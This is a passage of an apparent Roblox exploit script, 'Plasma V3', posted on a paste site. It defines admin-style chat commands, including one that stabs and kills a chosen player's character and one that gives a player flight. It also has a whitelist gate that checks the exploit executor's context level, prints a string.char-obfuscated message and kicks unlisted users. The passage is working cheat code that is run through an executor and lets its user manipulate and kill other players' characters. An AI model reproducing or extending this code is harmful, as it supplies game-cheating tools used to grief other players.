  2272. AddCommand({"help"},"restricted", function(Speaker, Params)
  2273. if Speaker == LocalPlayer then
  2274. local g = Plasma.Guis.HelpGui.Frame:Clone()
  2275. g.Parent = CoreGui.RobloxGui
  2276. g.Gui.Frame.BackgroundColor3 = Color3.new(rcol/255,gcol/255,bcol/255)
  2277. g.Gui.Frame.ScrollingFrame.prefix.Text = "The prefix(s) are: [ "..table.concat(Prefix, ", ").." ]"
  2278. print(1)
  2279. g.Gui.txt.MouseButton1Click:connect(function()
  2280. local am = .15
  2281. local function cs(ins)
  2282. for i, v in pairs(ins:GetChildren()) do
  2283. if v:IsA("Frame") then
  2284. spawn(function()repeat wait() v.BackgroundTransparency = v.BackgroundTransparency+am until v.BackgroundTransparency>1 end)
  2285. elseif v:IsA("TextLabel") then
  2286. spawn(function()repeat wait() v.TextTransparency = v.TextTransparency+am until v.TextTransparency>1 end)
  2287. elseif v:IsA("TextButton") then
  2288. spawn(function()repeat wait() v.TextTransparency = v.TextTransparency+am until v.TextTransparency>1 end)
  2289. spawn(function()repeat wait() v.BackgroundTransparency = v.BackgroundTransparency+am until v.BackgroundTransparency>1 end)
  2290. elseif v:IsA("ScrollingFrame") then
  2291. v.BottomImage = "" v.MidImage = "" v.TopImage = ""
  2292. end
  2293. cs(v)
  2294. end
  2295. end
  2296. cs(g)
  2297. wait(1)
  2298. g:Destroy()
  2299. end)
  2300. end
  2301. end)
  2302. AddCommand({"stab"},"plr", function(Speaker, Params)
  2303. if Params[1] then
  2304. local Plrs = FindPlayer(Params[1], Speaker)
  2305. for i, v in pairs(Plrs) do
  2306. if v and v.Character then
  2307. spawn(function()
  2308. local t = v
  2309. local knife = Plasma.Parts.knife:Clone()
  2310. knife.Parent = Workspace
  2311. local weld = Instance.new("Weld")
  2312. weld.Part0 = knife.Handle
  2313. weld.Part1 = t.Character.Torso
  2314. weld.C0 = CFrame.new()
  2315. weld.C1 = CFrame.new(-1,0.3,-2.1) * CFrame.Angles(0, 90, 0)
  2316. weld.Parent = knife.Handle
  2317. spawn(function()
  2318. for i=0,6 do
  2319. t.Character.Humanoid.WalkSpeed = t.Character.Humanoid.WalkSpeed-1
  2320. t.Character.Humanoid.Health = t.Character.Humanoid.Health-15
  2321. wait(1.3)
  2322. end
  2323. t.Character:BreakJoints()
  2324. wait(3)
  2325. knife:Destroy()
  2326. end)
  2327. t.Character.Humanoid.WalkSpeed = 0
  2328. wait(2)
  2329. t.Character.Humanoid.WalkSpeed = 16
  2330. wait(2)
  2331. local weld1 = Instance.new("Weld", t.Character["Left Arm"])
  2332. weld1.Part0 = t.Character["Left Arm"]
  2333. weld1.Part1 = t.Character.Torso
  2334. weld1.C0 = CFrame.new()
  2335. weld1.C1 = CFrame.new(-1.3,0.4,-0.6) * CFrame.Angles(1.3, 3, -0.5)
  2336. weld1.Parent = t.Character["Left Arm"]
  2337. wait(0.3)
  2338. local weld2 = Instance.new("Weld", t.Character["Right Arm"])
  2339. weld2.Part0 = t.Character["Right Arm"]
  2340. weld2.Part1 = t.Character.Torso
  2341. weld2.C0 = CFrame.new()
  2342. weld2.C1 = CFrame.new(0.5,0.5,-0.6) * CFrame.Angles(1.1, 3, 1)
  2343. weld2.Parent = t.Character["Right Arm"]
  2344. end)
  2345. end
  2346. end
  2347. end
  2348. end)
  2349. AddCommand({"fly"},"plr", function(Speaker, Params)
  2350. if Params[1] then
  2351. local Plrs = FindPlayer(Params[1], Speaker)
  2352. for i, v in pairs(Plrs) do
  2353. if v and v.Character then
  2354. spawn(function()
  2355. local gr = game:GetService("InsertService"):LoadAsset(225921000):GetChildren()[1]
  2356. gr.Name = "Click to fly"
  2357. gr.RequiresHandle = false
  2358. gr.CanBeDropped = false
  2359. gr.MouseIcon:Destroy()
  2360. gr.TextureId = ""
  2361. gr.Parent = v.Character
  2362. gr.Handle.Transparency = 1
  2363. gr.Handle.Changed:connect(function() pcall(function() gr.Handle.Transparency = 1 end) end)
  2364. gr.Handle.Mesh:Destroy()
  2365. local weld = Instance.new("Weld", v.Character.Torso)
  2366. weld.Part0 = v.Character.Torso
  2367. weld.Part1 = gr.Handle
  2368. gr:WaitForChild("Part")
  2369. for _, v in pairs(gr:GetChildren()) do if v:IsA("Part") then v.Transparency = 1 v:Destroy() end end
  2370. gr:WaitForChild("Script"):Destroy()
  2371. gr:WaitForChild("ClientControl"):Destroy()
  2372. gr:WaitForChild("ServerControl"):Destroy()
  2373. gr.Sit:Destroy()
  2374. gr.LocalScript.Parent = v.Character
  2375. gr.Name = "Unselect to unfly"
  2376. repeat wait() until gr.Parent ~= v.Character
  2377. gr:Destroy()
  2378. v.Character.Torso.FlightHold:Destroy()
  2379. v.Character.Torso.FlightSpin:Destroy()
  2380. v.Character.Torso.FlightPower:Destroy()
  2381. end)
  2382. end
  2383. end
  2384. end
  2385. end)
  2386.  
  2387. AddCommand({"settings"},"restricted", function(Speaker, Params)
  2388. if Speaker == LocalPlayer then
  2389. runsettings()
  2390. end
  2391. end)
  2392. else
  2393. pcall(function()if getContext() < 3 then
  2394. print(string.char(89, 111, 117, 32, 110, 101, 101, 100, 32, 116, 111, 32, 101, 120, 101, 99, 117, 116, 101, 32, 80, 108, 97, 115, 109, 97, 32, 119, 105, 116, 104, 32, 97, 116, 108, 101, 97, 115, 116, 32, 97, 32, 99, 111, 110, 116, 101, 120, 116, 32, 111, 102, 32, 52))
  2395. end end)
  2396. LocalPlayer:Kick("You're not whitelisted on Plasma V3")
  2397. end --wlist
  2398. end) -- auth
Add Comment
Please, Sign In to add comment